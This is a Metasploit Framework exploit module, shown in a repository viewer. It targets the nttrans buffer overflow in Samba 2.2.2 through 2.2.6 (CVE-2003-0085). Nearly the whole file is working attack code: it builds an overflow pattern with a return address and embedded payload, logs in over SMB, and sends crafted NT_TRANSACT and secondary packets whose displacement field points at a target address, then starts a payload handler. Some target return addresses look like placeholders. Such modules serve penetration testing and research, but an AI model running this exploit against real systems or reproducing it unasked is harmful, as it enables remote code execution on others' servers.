root / modules / exploits / multi / samba / nttrans.rb @ master
History | View | Annotate | Download (4.2 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# Framework web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/framework/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = AverageRanking |
| 16 |
|
| 17 |
include Msf::Exploit::Remote::SMB |
| 18 |
|
| 19 |
def initialize(info = {}) |
| 20 |
super(update_info(info,
|
| 21 |
'Name' => 'Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow', |
| 22 |
'Description' => %q{ |
| 23 |
This module attempts to exploit a buffer overflow vulnerability present in |
| 24 |
versions 2.2.2 through 2.2.6 of Samba. |
| 25 |
|
| 26 |
The Samba developers report this as: |
| 27 |
"Bug in the length checking for encrypted password change requests from clients." |
| 28 |
|
| 29 |
The bug was discovered and reported by the Debian Samba Maintainers. |
| 30 |
},
|
| 31 |
'Author' => [ 'hdm' ], |
| 32 |
'License' => MSF_LICENSE, |
| 33 |
'Version' => '$Revision$', |
| 34 |
'References' =>
|
| 35 |
[ |
| 36 |
[ 'CVE', '2003-0085' ], |
| 37 |
[ 'OSVDB', '6323' ], |
| 38 |
[ 'BID', '7106' ], |
| 39 |
[ 'URL', 'http://www.samba.org/samba/history/samba-2.2.7a.html' ] |
| 40 |
], |
| 41 |
'Privileged' => true, |
| 42 |
'Payload' =>
|
| 43 |
{
|
| 44 |
'Space' => 1024, |
| 45 |
'BadChars' => "\x00", |
| 46 |
'MinNops' => 512, |
| 47 |
}, |
| 48 |
'Targets' =>
|
| 49 |
[ |
| 50 |
[ "Samba 2.2.x Linux x86",
|
| 51 |
{
|
| 52 |
'Arch' => ARCH_X86, |
| 53 |
'Platform' => 'linux', |
| 54 |
'Rets' => [0x01020304, 0x41424344], |
| 55 |
}, |
| 56 |
], |
| 57 |
], |
| 58 |
'DisclosureDate' => 'Apr 7 2003' |
| 59 |
)) |
| 60 |
|
| 61 |
register_options( |
| 62 |
[ |
| 63 |
Opt::RPORT(139) |
| 64 |
], self.class)
|
| 65 |
end
|
| 66 |
|
| 67 |
def exploit |
| 68 |
|
| 69 |
# 0x081fc968
|
| 70 |
|
| 71 |
pattern = Rex::Text.pattern_create(12000) |
| 72 |
|
| 73 |
pattern[532, 4] = [0x81b847c].pack('V') |
| 74 |
pattern[836, payload.encoded.length] = payload.encoded
|
| 75 |
|
| 76 |
# 0x081b8138
|
| 77 |
|
| 78 |
connect |
| 79 |
smb_login |
| 80 |
|
| 81 |
targ_address = 0xfffbb7d0
|
| 82 |
|
| 83 |
#
|
| 84 |
# Send a NTTrans request with ParameterCountTotal set to the buffer length
|
| 85 |
#
|
| 86 |
|
| 87 |
subcommand = 1
|
| 88 |
param = ''
|
| 89 |
body = ''
|
| 90 |
setup_count = 0
|
| 91 |
setup_data = ''
|
| 92 |
data = param + body |
| 93 |
|
| 94 |
pkt = CONST::SMB_NTTRANS_PKT.make_struct |
| 95 |
self.simple.client.smb_defaults(pkt['Payload']['SMB']) |
| 96 |
|
| 97 |
base_offset = pkt.to_s.length + (setup_count * 2) - 4 |
| 98 |
param_offset = base_offset |
| 99 |
data_offset = param_offset + param.length |
| 100 |
|
| 101 |
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT |
| 102 |
pkt['Payload']['SMB'].v['Flags1'] = 0x18 |
| 103 |
pkt['Payload']['SMB'].v['Flags2'] = 0x2001 |
| 104 |
pkt['Payload']['SMB'].v['WordCount'] = 19 + setup_count |
| 105 |
|
| 106 |
pkt['Payload'].v['ParamCountTotal'] =12000 |
| 107 |
pkt['Payload'].v['DataCountTotal'] = body.length |
| 108 |
pkt['Payload'].v['ParamCountMax'] = 1024 |
| 109 |
pkt['Payload'].v['DataCountMax'] = 65504 |
| 110 |
pkt['Payload'].v['ParamCount'] = param.length |
| 111 |
pkt['Payload'].v['ParamOffset'] = param_offset |
| 112 |
pkt['Payload'].v['DataCount'] = body.length |
| 113 |
pkt['Payload'].v['DataOffset'] = data_offset |
| 114 |
pkt['Payload'].v['SetupCount'] = setup_count |
| 115 |
pkt['Payload'].v['SetupData'] = setup_data |
| 116 |
pkt['Payload'].v['Subcommand'] = subcommand |
| 117 |
|
| 118 |
pkt['Payload'].v['Payload'] = data |
| 119 |
|
| 120 |
self.simple.client.smb_send(pkt.to_s)
|
| 121 |
ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_NT_TRANSACT) |
| 122 |
|
| 123 |
#
|
| 124 |
# Send a NTTrans secondary request with the magic displacement
|
| 125 |
#
|
| 126 |
|
| 127 |
param = pattern |
| 128 |
body = ''
|
| 129 |
data = param + body |
| 130 |
|
| 131 |
pkt = CONST::SMB_NTTRANS_SECONDARY_PKT.make_struct |
| 132 |
self.simple.client.smb_defaults(pkt['Payload']['SMB']) |
| 133 |
|
| 134 |
base_offset = pkt.to_s.length - 4
|
| 135 |
param_offset = base_offset |
| 136 |
data_offset = param_offset + param.length |
| 137 |
|
| 138 |
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT_SECONDARY |
| 139 |
pkt['Payload']['SMB'].v['Flags1'] = 0x18 |
| 140 |
pkt['Payload']['SMB'].v['Flags2'] = 0x2001 |
| 141 |
pkt['Payload']['SMB'].v['WordCount'] = 18 |
| 142 |
|
| 143 |
pkt['Payload'].v['ParamCountTotal'] = param.length |
| 144 |
pkt['Payload'].v['DataCountTotal'] = body.length |
| 145 |
pkt['Payload'].v['ParamCount'] = param.length |
| 146 |
pkt['Payload'].v['ParamOffset'] = param_offset |
| 147 |
pkt['Payload'].v['ParamDisplace'] = targ_address |
| 148 |
pkt['Payload'].v['DataCount'] = body.length |
| 149 |
pkt['Payload'].v['DataOffset'] = data_offset |
| 150 |
|
| 151 |
pkt['Payload'].v['Payload'] = data |
| 152 |
|
| 153 |
self.simple.client.smb_send(pkt.to_s)
|
| 154 |
ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_NT_TRANSACT_SECONDARY) |
| 155 |
|
| 156 |
|
| 157 |
handler |
| 158 |
|
| 159 |
end
|
| 160 |
|
| 161 |
end
|